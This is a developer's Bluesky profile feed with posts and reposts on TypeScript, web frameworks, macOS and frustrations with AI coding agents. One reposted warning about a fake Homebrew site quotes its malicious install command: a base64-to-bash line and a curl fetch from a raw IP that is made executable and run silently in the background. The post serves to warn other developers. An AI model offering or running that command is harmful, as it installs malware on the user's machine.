sh03

sh03

@sh03.dev

๐Ÿ‡ช๐Ÿ‡บ๐Ÿ‡ฎ๐Ÿ‡น Software Dev. Primarily: Typescript, Node, โš›๏ธ React, ๐Ÿ˜ PostgreSQL. ๐ŸคŒ

147 followers234 following962 posts

sh03 reposted

โš ๏ธ Developers and IT folks, please be careful when installing Homebrew on your macOS. Google is showing sponsored links to a Homebrew site clone that has a cURL command to malware. The URL for this site is one letter different than the official site. Stay safe. #infosec #security #unix

๐Ÿšจ Homebrew has a malware? If you go to: homebrew-sh.com and then click on the copy button you get: echo "..." | base64 -d | bash which contains: clear echo "Loading... Please Wait" curl -s 86.54.25.213/d/unix23269396 > /tmp/unix001 chmod +x /tmp/unix001 /tmp/unix001 > /dev/null 2>&1 & disown

sh03 reposted

I am exasperated with people accusing programmers of "gatekeeping" programming. We were practically dragging people through the gate. Do you know why a mindless LLM can tell you so much great programming information? It's because we've been sharing that information for free online for decades.

When the AI bubble will pop the biggest AI companies will be bailed out by taxpayer money. I'm 100% sure of this. They will say because it's national security and the US can't be left behind. The reality is that if AI companies fall down they'll bring down the economy.

Incredible how Project Hail Mary is almost perfect until 2/3rd of the movie and then everything goes south. So much potential.

sh03 reposted

TypeScript 7.0 is out ๐ŸŽ‰ It's the 10x faster Go-based port ๐Ÿ”ฅ ๐Ÿ”ท `tsc6` is for side-by-side API access ๐Ÿ”ท --checkers sets checker thread count ๐Ÿ”ท --singleThreaded keeps parsing/emit/checking together ๐Ÿ”ท TS 6.0 deprecations are hard errors ๐Ÿ”ท API access is planned for TS 7.1

TypeScript@typescriptlang.org

๐Ÿ“ฃ The moment is here. ๐Ÿ“ฃ TypeScript 7 is officially released! 7๏ธโƒฃ devblogs.microsoft.com/typescript/a...

just updated macos and now i have to live with these blue slices in every angle of the screen

Last week I went down a rabbit hole with server first approaches like Datastar or Phoenix LiveView. Interesting approach but ultimately, like local first and sync engines, they try to shift the balance to one side of the client/server connection making the other more complicated.

dashbit.coWeb apps have client and server state (plus realtime and LiveView) - Dashbit BlogWeb applications have client and server state, let's see some examples and learn how LiveView, in particular, deals with state and realtime

People complaining about the new Google icon set are delirious. Should I remind you of the last icon set?

More and more content will either be paywalled or accessible only through big platforms (e.g. medium, YouTube). AI scraping is adversarial towards open websites that made money via ads/visitors by stealing their content without attribution.

sh03 reposted

Bluesky brags about using AI all over the place. AI is total trash garbage that causes things to fail basically all the time. But don't blame this Bluesky outage on AI, that is you being so ridiculous you might as well have pinned it on Black Magic. It's ridiculous you could even THINK it.

sh03 reposted

"The real problem wasnโ€™t messy code. It was that no one on the team could explain why design decisions had been made or how different parts of the system were supposed to work together. The theory of the system had evaporated." New #Radar article by @addyosmani.bsky.social: bit.ly/41tTNSh

bit.lyComprehension Debt: The Hidden Cost of AI-Generated CodeThe following article originally appeared on Addy Osmani's blog site and is being reposted here with the author's permission.Comprehension debt is the

I've been working with AI extensively for a couple of months now. Tried Cursor, Claude and Codex. It's pretty clear to me that the biggest issue with it is that it doesn't understand the flow of data. And programming is all about understanding how data flows through the program.

That's why it will always write extremely defensive code everywhere which becomes unreadable. That's why it will overcomplicate every program it writes (and complexity grows exponentially). That's why it will always find basic edge cases to test and not the real ones.

sh03 reposted

GitHub leaked webhook secrets for many repos for *months* in 2025 and again in January 2026. Then only notified some of us today, in April. But hey at least Copilot is integrated into GitHub and Windows 11! ๐Ÿคก show

sh03 reposted

today in apple vs web macOS Tahoe uses dynamically rounded corners on app frames, but browsers simply treat the page as square and clip the underlying content. you cannot draw a border around the page. remember the scramble to add env() for the notch? is apple capable of proactive spec work?

sh03 reposted

Just went to report a bug in @voidzero.dev formatter. Spent 30 minutes setting up a classic reproduction repo. Then discovered playground.oxc.rs. It has an option to compare with prettier directly and if there's a difference IT FILLS OUT THE ISSUE TEMPLATE FOR YOU. I absolutely love it

sh03@sh03.dev

The intersection of people that love vibe coding and people that don't understand that each line of code is a liability is a perfect circle.

The intersection of people that love vibe coding and people that don't understand that each line of code is a liability is a perfect circle.

sh03 reposted

Pleeeeease Apple let me add web apps to my Home Screen in a way that lets them live in the App Library.

Friendly reminder that downloads are a useless metric.

I'm seeing this sudden drop in download counts in most popular npm packages, happening in the last 3 weeks. Does anybody know what's going on?

sh03 reposted

upcoming android update solves sideloading and age verification in one fell swoop with new "wait 18 years" button

Code quality seems to matter in the same way that good writing in tv shows and movies matters: it's a nice to have only people passionate about the craft care about. Slop marvel movies can make millions but well crafted stories like Andor struggle. Maybe the world is set up for slop to win.

sh03 reposted

โ€˜Newer and larger models are smarter and more reliable. But they fail unexpectedly. There is no relationship between size and how failures change over time. AI-generated code creates 70% more issues than human code.โ€˜ tomtunguz.com/you-are-resp...

tomtunguz.comYou Are Responsible for Your AgentAmazon lost $6.3M in orders from AI coding failures. Utah law eliminates the hallucination defense. Companies bear liability for their agents' mistakes.

This is codex with gpt 5.4 (paid plan) on high reasoning: it just needed to remove the useViewer reference (it's just a react query) instead it left a useless useViewer call and removed unrelated code. You guys are joking right? This is the best LLMs have to offer?

View full thread

Another example is I asked it to update to the latest tsdown version (that generates .mjs files instead of js ). I had to spoon-feed it the other two places where it needed to update references (package.json and dockerfile).

I don't think it's comparable to a junior developer. When it's good it seems more knowledgeable than a senior developer without the lessons a senior developer learned (e.g. better to remove than to add). When it's bad it's worse than a junior developer: it's closer to an adversarial entity.

This is codex with gpt 5.4 (paid plan) on high reasoning: it just needed to remove the useViewer reference (it's just a react query) instead it left a useless useViewer call and removed unrelated code. You guys are joking right? This is the best LLMs have to offer?

Another example: told it to fix a conflicting warning in VSCode (medium reasoning) it simply replaced the entire VSCode configuration file (tbf while also fixing the issue)

Somewhere in the middle of my prompts it also created a git repo in one of my subprojects (monorepo setup) causing me to spend 10 minutes trying to understand why the git diff in VSCode and locally was different.

I've just bought Codex (the โ‚ฌ20/month plan) and tried it. It's now clear to me that pro AI folks are trolling me.